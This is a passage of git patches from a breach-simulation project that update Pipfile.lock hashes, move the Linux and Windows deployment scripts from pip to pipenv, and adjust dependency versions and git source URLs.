"sha256:f0b278ce10936db1a37e6954e15a3730bea96a0997c26d7fee88e6c396c2086d", + "sha256:f11642dddbb0253cc8853254301b51390ba0081750a8ac03f20ea8103f0c56b6" + ], + "index": "pypi", + "version": "==5.5" + }, + "distlib": { + "hashes": [ + "sha256:8c09de2c67b3e7deef7184574fc060ab8a793e7adbb183d942c389c8b13c52fb", + "sha256:edf6116872c863e1aa9d5bb7cb5e05a022c519a4594dc703843343a9ddd9bff1" + ], + "version": "==0.3.1" + }, + "filelock": { + "hashes": [ + "sha256:18d82244ee114f543149c66a6e0c14e9c4f8a1044b5cdaadd0f82159d6a6ff59", + "sha256:929b7d63ec5b7d6b71b0fa5ac14e030b3f70b75747cef1b10da9b879fef15836" + ], + "version": "==3.0.12" + }, + "flake8": { + "hashes": [ + "sha256:12d05ab02614b6aee8df7c36b97d1a3b2372761222b19b58621355e82acddcff", + "sha256:78873e372b12b093da7b5e5ed302e8ad9e988b38b063b61ad937f26ca58fc5f0" + ], + "index": "pypi", + "version": "==3.9.0" + }, + "idna": { + "hashes": [ + "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6", + "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.10" + }, + "importlib-metadata": { + "hashes": [ + "sha256:2ec0faae539743ae6aaa84b49a169670a465f7f5d64e6add98388cc29fd1f2f6", + "sha256:c9356b657de65c53744046fa8f7358afe0714a1af7d570c00c3835c2d724a7c1" + ], + "markers": "python_version < '3.8'", + "version": "==3.10.1" + }, + "iniconfig": { + "hashes": [ + "sha256:011e24c64b7f47f6ebd835bb12a743f2fbe9a26d4cecaa7f53bc4f35ee9da8b3", + "sha256:bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32" + ], + "version": "==1.1.1" + }, + "isort": { + "hashes": [ + "sha256:0a943902919f65c5684ac4e0154b1ad4fac6dcaa5d9f3426b732f1c8b5419be6", + "sha256:2bb1680aad211e3c9944dbce1d4ba09a989f04e238296c87fe2139faa26d655d" + ], + "index": "pypi", + "version": "==5.8.0" + }, + "mccabe": { + "hashes": [ + "sha256:ab8a6258860da4b6677da4bd2fe5dc2c659cff31b3ee4f7f5d64e79735b80d42", + "sha256:dd8d182285a0fe56bace7f45b5e7d1a6ebcbf524e8f3bd87eb0f125271b8831f" + ], + "version": "==0.6.1" + }, + "mongomock": { + "hashes": [ + "sha256:36aad3c6127eee9cdb52ac0186c6a60007f2412c9db715645eeccffc1258ce48", + "sha256:8faaffd875732bf55e38e1420a1b7212dde8d446c5852afb4c0884c1369b328b" + ], + "index": "pypi", + "version": "==3.19.0" + }, + "mypy-extensions": { + "hashes": [ + "sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d", + "sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8" + ], + "version": "==0.4.3" + }, + "packaging": { + "hashes": [ + "sha256:5b327ac1320dc863dca72f4514ecc086f31186744b84a230374cc1fd776feae5", + "sha256:67714da7f7bc052e064859c05c595155bd1ee9f69f76557e21f051443c20947a" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==20.9" + }, + "pathspec": { + "hashes": [ + "sha256:86379d6b86d75816baba717e64b1a3a3469deb93bb76d613c9ce79edc5cb68fd", + "sha256:aa0cb481c4041bf52ffa7b0d8fa6cd3e88a2ca4879c533c9153882ee2556790d" + ], + "version": "==0.8.1" + }, + "pluggy": { + "hashes": [ + "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0", + "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.13.1" + }, + "py": { + "hashes": [ + "sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3", + "sha256:3b80836aa6d1feeaa108e046da6423ab8f6ceda6468545ae8d02d9d58d18818a" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.10.0" + }, + "pycodestyle": { + "hashes": [ + "sha256:514f76d918fcc0b55c6680472f0a37970994e07bbb80725808c17089be302068", + "sha256:c389c1d06bf7904078ca03399a4816f974a1d590090fecea0c63ec26ebaf1cef" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.7.0" + }, + "pyflakes": { + "hashes": [ + "sha256:7893783d01b8a89811dd72d7dfd4d84ff098e5eed95cfa8905b22bbffe52efc3", + "sha256:f5bc8ecabc05bb9d291eb5203d6810b49040f6ff446a756326104746cc00c1db" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.3.1" + }, + "pyparsing": { + "hashes": [ + "sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1", + "sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.4.7" + }, + "pytest": { + "hashes": [ + "sha256:671238a46e4df0f3498d1c3270e5deb9b32d25134c99b7d75370a68cfbe9b634", + "sha256:6ad9c7bdf517a808242b998ac20063c41532a570d088d77eec1ee12b0b5574bc" + ], + "index": "pypi", + "version": "==6.2.3" + }, + "pytest-cov": { + "hashes": [ + "sha256:359952d9d39b9f822d9d29324483e7ba04a3a17dd7d05aa6beb7ea01e359e5f7", + "sha256:bdb9fdb0b85a7cc825269a4c56b48ccaa5c7e365054b6038772c32ddcdc969da" + ], + "index": "pypi", + "version": "==2.11.1" + }, + "regex": { + "hashes": [ + "sha256:01afaf2ec48e196ba91b37451aa353cb7eda77efe518e481707e0515025f0cd5", + "sha256:11d773d75fa650cd36f68d7ca936e3c7afaae41b863b8c387a22aaa78d3c5c79", + "sha256:18c071c3eb09c30a264879f0d310d37fe5d3a3111662438889ae2eb6fc570c31", + "sha256:1e1c20e29358165242928c2de1482fb2cf4ea54a6a6dea2bd7a0e0d8ee321500", + "sha256:281d2fd05555079448537fe108d79eb031b403dac622621c78944c235f3fcf11", + "sha256:314d66636c494ed9c148a42731b3834496cc9a2c4251b1661e40936814542b14", + "sha256:32e65442138b7b76dd8173ffa2cf67356b7bc1768851dded39a7a13bf9223da3", + "sha256:339456e7d8c06dd36a22e451d58ef72cef293112b559010db3d054d5560ef439", + "sha256:3916d08be28a1149fb97f7728fca1f7c15d309a9f9682d89d79db75d5e52091c", + "sha256:3a9cd17e6e5c7eb328517969e0cb0c3d31fd329298dd0c04af99ebf42e904f82", + "sha256:47bf5bf60cf04d72bf6055ae5927a0bd9016096bf3d742fa50d9bf9f45aa0711", + "sha256:4c46e22a0933dd783467cf32b3516299fb98cfebd895817d685130cc50cd1093", + "sha256:4c557a7b470908b1712fe27fb1ef20772b78079808c87d20a90d051660b1d69a", + "sha256:52ba3d3f9b942c49d7e4bc105bb28551c44065f139a65062ab7912bef10c9afb", + "sha256:563085e55b0d4fb8f746f6a335893bda5c2cef43b2f0258fe1020ab1dd874df8", + "sha256:598585c9f0af8374c28edd609eb291b5726d7cbce16be6a8b95aa074d252ee17", + "sha256:619d71c59a78b84d7f18891fe914446d07edd48dc8328c8e149cbe0929b4e000", + "sha256:67bdb9702427ceddc6ef3dc382455e90f785af4c13d495f9626861763ee13f9d", + "sha256:6d1b01031dedf2503631d0903cb563743f397ccaf6607a5e3b19a3d76fc10480", + "sha256:741a9647fcf2e45f3a1cf0e24f5e17febf3efe8d4ba1281dcc3aa0459ef424dc", + "sha256:7c2a1af393fcc09e898beba5dd59196edaa3116191cc7257f9224beaed3e1aa0", + "sha256:7d9884d86dd4dd489e981d94a65cd30d6f07203d90e98f6f657f05170f6324c9", + "sha256:90f11ff637fe8798933fb29f5ae1148c978cccb0452005bf4c69e13db951e765", + "sha256:919859aa909429fb5aa9cf8807f6045592c85ef56fdd30a9a3747e513db2536e", + "sha256:96fcd1888ab4d03adfc9303a7b3c0bd78c5412b2bfbe76db5b56d9eae004907a", + "sha256:97f29f57d5b84e73fbaf99ab3e26134e6687348e95ef6b48cfd2c06807005a07", + "sha256:980d7be47c84979d9136328d882f67ec5e50008681d94ecc8afa8a65ed1f4a6f", + "sha256:a91aa8619b23b79bcbeb37abe286f2f408d2f2d6f29a17237afda55bb54e7aac", + "sha256:ade17eb5d643b7fead300a1641e9f45401c98eee23763e9ed66a43f92f20b4a7", + "sha256:b9c3db21af35e3b3c05764461b262d6f05bbca08a71a7849fd79d47ba7bc33ed", + "sha256:bd28bc2e3a772acbb07787c6308e00d9626ff89e3bfcdebe87fa5afbfdedf968", + "sha256:bf5824bfac591ddb2c1f0a5f4ab72da28994548c708d2191e3b87dd207eb3ad7", + "sha256:c0502c0fadef0d23b128605d69b58edb2c681c25d44574fc673b0e52dce71ee2", + "sha256:c38c71df845e2aabb7fb0b920d11a1b5ac8526005e533a8920aea97efb8ec6a4", + "sha256:ce15b6d103daff8e9fee13cf7f0add05245a05d866e73926c358e871221eae87", + "sha256:d3029c340cfbb3ac0a71798100ccc13b97dddf373a4ae56b6a72cf70dfd53bc8", + "sha256:e512d8ef5ad7b898cdb2d8ee1cb09a8339e4f8be706d27eaa180c2f177248a10", + "sha256:e8e5b509d5c2ff12f8418006d5a90e9436766133b564db0abaec92fd27fcee29", + "sha256:ee54ff27bf0afaf4c3b3a62bcd016c12c3fdb4ec4f413391a90bd38bc3624605", + "sha256:fa4537fb4a98fe8fde99626e4681cc644bdcf2a795038533f9f711513a862ae6", + "sha256:fd45ff9293d9274c5008a2054ecef86a9bfe819a67c7be1afb65e69b405b3042" + ], + "version": "==2021.4.4" + }, + "requests": { + "hashes": [ + "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804", + "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e" + ], + "index": "pypi", + "version": "==2.25.1" + }, + "requests-mock": { + "hashes": [ + "sha256:11215c6f4df72702aa357f205cf1e537cffd7392b3e787b58239bde5fb3db53b", + "sha256:e68f46844e4cee9d447150343c9ae875f99fa8037c6dcf5f15bf1fe9ab43d226" + ], + "index": "pypi", + "version": "==1.8.0" + }, + "sentinels": { + "hashes": [ + "sha256:7be0704d7fe1925e397e92d18669ace2f619c92b5d4eb21a89f31e026f9ff4b1" + ], + "version": "==1.0.0" + }, + "six": { + "hashes": [ + "sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259", + "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced" + ], + "index": "pypi", + "version": "==1.15.0" + }, + "toml": { + "hashes": [ + "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b", + "sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.10.2" + }, + "typed-ast": { + "hashes": [ + "sha256:01ae5f73431d21eead5015997ab41afa53aa1fbe252f9da060be5dad2c730ace", + "sha256:067a74454df670dcaa4e59349a2e5c81e567d8d65458d480a5b3dfecec08c5ff", + "sha256:0fb71b8c643187d7492c1f8352f2c15b4c4af3f6338f21681d3681b3dc31a266", + "sha256:1b3ead4a96c9101bef08f9f7d1217c096f31667617b58de957f690c92378b528", + "sha256:2068531575a125b87a41802130fa7e29f26c09a2833fea68d9a40cf33902eba6", + "sha256:209596a4ec71d990d71d5e0d312ac935d86930e6eecff6ccc7007fe54d703808", + "sha256:2c726c276d09fc5c414693a2de063f521052d9ea7c240ce553316f70656c84d4", + "sha256:398e44cd480f4d2b7ee8d98385ca104e35c81525dd98c519acff1b79bdaac363", + "sha256:52b1eb8c83f178ab787f3a4283f68258525f8d70f778a2f6dd54d3b5e5fb4341", + "sha256:5feca99c17af94057417d744607b82dd0a664fd5e4ca98061480fd8b14b18d04", + "sha256:7538e495704e2ccda9b234b82423a4038f324f3a10c43bc088a1636180f11a41", + "sha256:760ad187b1041a154f0e4d0f6aae3e40fdb51d6de16e5c99aedadd9246450e9e", + "sha256:777a26c84bea6cd934422ac2e3b78863a37017618b6e5c08f92ef69853e765d3", + "sha256:95431a26309a21874005845c21118c83991c63ea800dd44843e42a916aec5899", + "sha256:9ad2c92ec681e02baf81fdfa056fe0d818645efa9af1f1cd5fd6f1bd2bdfd805", + "sha256:9c6d1a54552b5330bc657b7ef0eae25d00ba7ffe85d9ea8ae6540d2197a3788c", + "sha256:aee0c1256be6c07bd3e1263ff920c325b59849dc95392a05f258bb9b259cf39c", + "sha256:af3d4a73793725138d6b334d9d247ce7e5f084d96284ed23f22ee626a7b88e39", + "sha256:b36b4f3920103a25e1d5d024d155c504080959582b928e91cb608a65c3a49e1a", + "sha256:b9574c6f03f685070d859e75c7f9eeca02d6933273b5e69572e5ff9d5e3931c3", + "sha256:bff6ad71c81b3bba8fa35f0f1921fb24ff4476235a6e94a26ada2e54370e6da7", + "sha256:c190f0899e9f9f8b6b7863debfb739abcb21a5c054f911ca3596d12b8a4c4c7f", + "sha256:c907f561b1e83e93fad565bac5ba9c22d96a54e7ea0267c708bffe863cbe4075", + "sha256:cae53c389825d3b46fb37538441f75d6aecc4174f615d048321b716df2757fb0", + "sha256:dd4a21253f42b8d2b48410cb31fe501d32f8b9fbeb1f55063ad102fe9c425e40", + "sha256:dde816ca9dac1d9c01dd504ea5967821606f02e510438120091b84e852367428", + "sha256:f2362f3cb0f3172c42938946dbc5b7843c2a28aec307c49100c8b38764eb6927", + "sha256:f328adcfebed9f11301eaedfa48e15bdece9b519fb27e6a8c01aa52a17ec31b3", + "sha256:f8afcf15cc511ada719a88e013cec87c11aff7b91f019295eb4530f96fe5ef2f", + "sha256:fb1bbeac803adea29cedd70781399c99138358c26d05fcbd23c13016b7f5ec65" + ], + "version": "==1.4.3" + }, + "typing-extensions": { + "hashes": [ + "sha256:7cb407020f00f7bfc3cb3e7881628838e69d8f3fcab2f64742a5e76b2f841918", + "sha256:99d4073b617d30288f569d3f13d2bd7548c3a7e4c8de87db09a9d29bb3a4a60c", + "sha256:dafc7639cde7f1b6e1acc0f457842a83e722ccca8eef5270af2d74792619a89f" + ], + "markers": "python_version < '3.8'", + "version": "==3.7.4.3" + }, + "urllib3": { + "hashes": [ + "sha256:8d7eaa5a82a1cac232164990f04874c594c9453ec55eef02eab885aa02fc17a2", + "sha256:f5321fbe4bf3fefa0efd0bfe7fb14e90909eb62a48ccda331726b4319897dd5e" + ], + "markers": "python_version != '3.4'", + "version": "==1.25.11" + }, + "virtualenv": { + "hashes": [ + "sha256:49ec4eb4c224c6f7dd81bb6d0a28a09ecae5894f4e593c89b0db0885f565a107", + "sha256:83f95875d382c7abafe06bd2a4cdd1b363e1bb77e02f155ebe8ac082a916b37c" + ], + "index": "pypi", + "version": "==20.4.3" + }, + "zipp": { + "hashes": [ + "sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76", + "sha256:51cb66cc54621609dd593d1787f286ee42a5c0adbb4b29abea5a63edc3e03098" + ], + "markers": "python_version >= '3.6'", + "version": "==3.4.1" + } + } } From 47f1bd31ccc90dcf14fb20d6bbcc916198b6f737 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 15 Apr 2021 11:11:11 +0300 Subject: [PATCH 0261/1360] Converted deployment scripts to use pipenv instead of pip --- deployment_scripts/deploy_linux.sh | 16 ++++++++++++---- deployment_scripts/deploy_windows.ps1 | 18 +++++++++++------- 2 files changed, 23 insertions(+), 11 deletions(-) diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 072e14af80a..7e9debba267 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -139,14 +139,22 @@ fi ${python_cmd} get-pip.py rm get-pip.py +log_message "Installing pipenv" +${python_cmd} -m pip install --user -U pipx +${python_cmd} -m pipx ensurepath +source ~/.profile +pipx install pipenv + log_message "Installing island requirements" -requirements_island="$ISLAND_PATH/requirements.txt" -${python_cmd} -m pip install -r "${requirements_island}" --user --upgrade || handle_error +pushd $ISLAND_PATH +pipenv install --dev +popd log_message "Installing monkey requirements" sudo apt-get install -y libffi-dev upx libssl-dev libc++1 -requirements_monkey="$INFECTION_MONKEY_DIR/requirements.txt" -${python_cmd} -m pip install -r "${requirements_monkey}" --user --upgrade || handle_error +pushd $INFECTION_MONKEY_DIR +pipenv install --dev +popd agents=${3:-true} # Download binaries diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 3438c554ba1..20f600f51be 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -126,15 +126,19 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, return } + "Installing pipx" + pip install --user -U pipx + pipx ensurepath + pipx install pipenv + "Installing python packages for island" - $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop - & python -m pip install --user -r $islandRequirements + Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR) -ErrorAction Stop + pipenv install --dev + Pop-Location "Installing python packages for monkey" - $monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt" - & python -m pip install --user -r $monkeyRequirements - "Installing python packages for ScoutSuite" - $scoutsuiteRequirements = Join-Path -Path $monkey_home -ChildPath $SCOUTSUITE_DIR | Join-Path -ChildPath "\requirements.txt" - & python -m pip install --user -r $scoutsuiteRequirements + Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR) -ErrorAction Stop + pipenv install --dev + Pop-Location Configure-precommit($monkey_home) From ffb761ef4bbc5190e204f4325c26ea3c36718d50 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 19 Apr 2021 10:34:46 +0300 Subject: [PATCH 0262/1360] Updated monkey pipfile and pipfile.lock in attempt to fix brokend jenkins build --- monkey/infection_monkey/Pipfile | 4 +- monkey/infection_monkey/Pipfile.lock | 87 ++++++++++++++++------------ 2 files changed, 51 insertions(+), 40 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index ff65131c569..67db52eee08 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -6,7 +6,7 @@ name = "pypi" [packages] cffi = ">=1.14" ecdsa = "==0.15" -pyinstaller = {git = "https://github.com/guardicore/pyinstaller"} +pyinstaller = {git = "git://github.com/guardicore/pyinstaller"} impacket = ">=0.9" ipaddress = ">=1.0.23" netifaces = ">=0.10.9" @@ -24,7 +24,7 @@ urllib3 = "==1.25.8" simplejson = "*" "WinSys-3.x" = ">=0.5.2" WMI = "==1.5.1" -ScoutSuite = {git = "https://github.com/guardicode/ScoutSuite"} +ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} [dev-packages] diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index c2d18f2f766..cd778c50d39 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "d5feb6a8a2f262ea19d76eff06addbd34038b6058a83b6611b4e3180950fd4a0" + "sha256": "81b4c8e8913936ff78b2f79b0f471e10f34ad299562472db802ceb6d742a42ed" }, "pipfile-spec": 6, "requires": { @@ -61,19 +61,19 @@ }, "boto3": { "hashes": [ - "sha256:73bcd04f6f919e7f8acc27c9d83dab5aee22225fe624c028b2e1c7feaf771098", - "sha256:c45e7d3aef8965ae1b42c9855c31ded19fbb38cfad0a34cc37dc880ded3672c2" + "sha256:1d26f6e7ae3c940cb07119077ac42485dcf99164350da0ab50d0f5ad345800cd", + "sha256:3bf3305571f3c8b738a53e9e7dcff59137dffe94670046c084a17f9fa4599ff3" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", - "version": "==1.17.51" + "version": "==1.17.53" }, "botocore": { "hashes": [ - "sha256:ae45ea7451513373666b7571064c173d649e61fd3e8f413f0e1f1f9db26b3513", - "sha256:c853d6c2321e2f2328282c7d49d7b1a06201826ba0e7049c6975ab5f22927ea8" + "sha256:d5e70d17b91c9b5867be7d6de0caa7dde9ed789bed62f03ea9b60718dc9350bf", + "sha256:e303500c4e80f6a706602da53daa6f751cfa8f491665c99a24ee732ab6321573" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", - "version": "==1.20.51" + "version": "==1.20.53" }, "certifi": { "hashes": [ @@ -226,7 +226,7 @@ "hashes": [ "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==0.18.2" }, "httpagentparser": { @@ -319,7 +319,7 @@ "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9", "sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f" ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==0.10.0" }, "ldap3": { @@ -408,11 +408,11 @@ }, "minikerberos": { "hashes": [ - "sha256:60d126b95f0e8ddb7996691082baeec4fcef20254d51bff6b849f7afe32b93f0", - "sha256:91e40ddb083173c083b2f10bbbc8305edd76fbbf8cd9497ea34b45b9e817bd16" + "sha256:382f829e4e3b185ccad50683103c67b5156b6a4a45881b8d7a533f479b7f0146", + "sha256:a62f80ff419f6bf09e45d9f61de067cea70bfddef9b09e009901f41e9735d21b" ], "markers": "python_version >= '3.6'", - "version": "==0.2.10" + "version": "==0.2.11" }, "more-itertools": { "hashes": [ @@ -424,11 +424,11 @@ }, "msldap": { "hashes": [ - "sha256:d2c322e4fa703167ff5be1eed1a910545ff56646da9df3b36030b747a959ad21", - "sha256:d2f446e2b3e73bf0baf270d2e11841eec3783f251e5d697c0ab024ab7af4d0ae" + "sha256:24a9e03d4b69b3b7e4a7bf76b097d75fa0d65cc993b55bc6df1809483df41c4e", + "sha256:cb555b6cca0ed40b92e6c76f73fb3d1f92111c9ca04084e2e4f9d7eb99e1a1f4" ], "markers": "python_version >= '3.7'", - "version": "==0.3.28" + "version": "==0.3.29" }, "netaddr": { "hashes": [ @@ -689,32 +689,43 @@ "version": "==1.5.6" }, "pyinstaller": { - "git": "https://github.com/guardicore/pyinstaller", + "git": "git://github.com/guardicore/pyinstaller", "ref": "7c050ea0d6ca1e453045632ec57cf1afe79e15c5" }, "pymssql": { "hashes": [ - "sha256:0157d2c0f31449d46a2b7bfa77b82eec59b51664050ef9ae2e599405f78a8c44", - "sha256:05d8f23809a4bf1bbd419b75c9879e16ad4c172aedd3db85b6b80b5b47035342", - "sha256:0c619e10ebebaf86d29b6d9ec6c4fc09e4fcc7bdaa6ad3e9878883c0b7c1ef95", - "sha256:13a99caf54e4c5807118dbeae5772110a1827f21d2dde65f21aba9aa9339db96", - "sha256:2589d113e0a96ceed07fcd508b194d0ed3abf7c6b1549d44fe30ab135583208f", - "sha256:29aa99e03c518391b954d7cc53657bbf0d0105001e73a0b1a3f39c7afeecb419", - "sha256:436e51c34bf44f1e8d870227ccd160a2b667d23864371a972a1e972aeea63663", - "sha256:4c5481682937b2ed191980b78d91abd480d74c6b6e75ad6c9120ef9868004e2b", - "sha256:8bea5b5fd256800e458a1582166b751c9b392658510e9b823cfc71f800b3961a", - "sha256:a458b536960a4036f62718726582f24844db8585f6f8f635b336e8cf7b0a85aa", - "sha256:a9f684712390d14116ae0daeb3002af1c1f865a1ad3ff7eeaf7979125c160e82", - "sha256:b63265ff588448c925ed08fa0520da0081933d32f0530f5ab83c7cf3c3aeee3f", - "sha256:cb63071f7cc3a5ae06241457f9d707293d438d069cbb1f53be6de2e25e1606fe", - "sha256:d142aeadf364590d8289a91a1e4ecc6869979232bdd0b55444f1558c3e2aa13d", - "sha256:e6271b4d08de2fb72d13a1ce4c4fdeeec1657cacebd724d24011342acfc7cbbb", - "sha256:e7e97fca8485f45df57e9b6dd2aebdb1752481418284b0b6dcd7b847c2cab7fb", - "sha256:e8d795c1da83edcbff50579f55dc676a5542228d9f05703d23f5df314d4e7070", - "sha256:f0b7f259ceec1bda9ecf01cdc355e376c269d1de1308845b32fc45465fde5adf" + "sha256:04aab92d5a1a5d4e01a0797a939f103f02c0ef777bc8dcf1e952ed30dd1d43d4", + "sha256:0ff55a944ee7506a5e9aef7b40f0cddabc0b61f9ba13d716bff5a308923b8111", + "sha256:10f9b5b033eb30a38f4b36144eb4583fd478fd30afa9d64cd9a1965d22740446", + "sha256:1682ead549dcec31f3b8cc47da429572ea1c4b106cb4fa91df884f968123af93", + "sha256:18b6550a02b34e88134b4b70eedcc6982036e459b0c91c7dd248bb1926287264", + "sha256:1e8d8abab391559b70f5df97fb22fc1d9ea627edcb943e558bdc7d7f455f93e2", + "sha256:2108114e4cc34ebbb8031df3e5579320e7569d51cd5094c5ddc333bf749d09a0", + "sha256:36539e42e8bb33018a05f9bd524b5a76286132ab7c82bfe9b60c4169d460fdf5", + "sha256:3977b056c5db8d01e74d88417cbb48e3e8bf03ab09ca6ef53790d025eae543df", + "sha256:3bdbeca64af7856923b7f84ed3355e2fd00bb1b897877b0bd4a74ec638801d52", + "sha256:3e077455a11fcb4cb8705cb3ae83236b8e130df9fd4186c707d638e8e43f9646", + "sha256:4f6d4434c29b846f491f5236daf06175f1652953d1d162be0f1b2b037bcf9a8d", + "sha256:4fd4991eee848a4fd7d0b19a24fe49b508633881e221004652ab15a7e4cfe041", + "sha256:557719b3ebc4617543de52eaadcdb6779f0c850e95b07be5f9775a2ef6a6c61f", + "sha256:658b4ea09050c85c6be09e1371335198b9441d2b5b08ef4f0b250ee4e5e8afc3", + "sha256:70a5c67759254e982368c5b9ccfe076447a7fd545b8376eb62d60c3b85e3b94d", + "sha256:aad5a1218691f83a16bab6dcfa24abf9da796abf5bf168a41972fe1cf93b3e37", + "sha256:c47c093cc4dc60e3356458c8e2935bab3834cea1f94a66c8ca62a5af2f060d64", + "sha256:c7a715c0b2b3a37462a9cf7972ed9ef0be98b2c64aebd549359f08af7f53b9a9", + "sha256:cfd9ae0484056e46b981b7c3893ddb620ccd52f48349bada78cb141192dfbfbe", + "sha256:cff8e775fb6294effeb716735bfd7707e79a2a79b617d0f1984bd574f26bda65", + "sha256:d0f8094330523b8e4763a6903151bc35069309ccb57c61f87eeaa910a34f5a35", + "sha256:d60f5f90337399668e10ab6a23a1657f190c9585401eb96a5456261f7c414864", + "sha256:dfc764a5a07197d742da34a593578295e9f8b64bb035c07e0981961672e18c85", + "sha256:e19a59eb8115418c3debcc9b685b2138d0abe6c9cb8c00bc2e738eb744bc6bda", + "sha256:e4741c6ec0483dcadb8a63077a7ceb17f263d9815ea842fed6663508c8852d7f", + "sha256:ec28c73afde96def469c581208903cf035923dc6313b6916f80cbcc71f9413d1", + "sha256:f36392e1874445d7cb67b928686ad424b0b3980282512b21f640828ad3adf968", + "sha256:fcf98e2c7cf18fa2fa09cdb7220849cd02e7b9481cb81ccdd8940da438f58d85" ], "index": "pypi", - "version": "==2.2.0" + "version": "==2.1.5" }, "pynacl": { "hashes": [ @@ -777,7 +788,7 @@ "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb", "sha256:c89805f6f4d64db21ed966fda138f8a5ed7a4fdbc1a8ee329ce1b74e3c74da9e" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2'", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==2.8.0" }, "pytz": { @@ -819,7 +830,7 @@ "version": "==0.3.7" }, "scoutsuite": { - "git": "https://github.com/guardicode/ScoutSuite", + "git": "git://github.com/guardicode/ScoutSuite", "ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003" }, "simplejson": { @@ -878,7 +889,7 @@ "sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259", "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2'", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==1.15.0" }, "sqlitedict": { From c2024d06f615d747202b30d952d807eeeac5573f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 20 Apr 2021 15:21:54 +0300 Subject: [PATCH 0263/1360] Fixed requirements to use cryptography 2.5, so that linux builds of agents on ubuntu12 could install requirements --- monkey/infection_monkey/Pipfile | 2 + monkey/infection_monkey/Pipfile.lock | 62 +++++++++++++++------------- 2 files changed, 36 insertions(+), 28 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 67db52eee08..4806ed5f354 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile 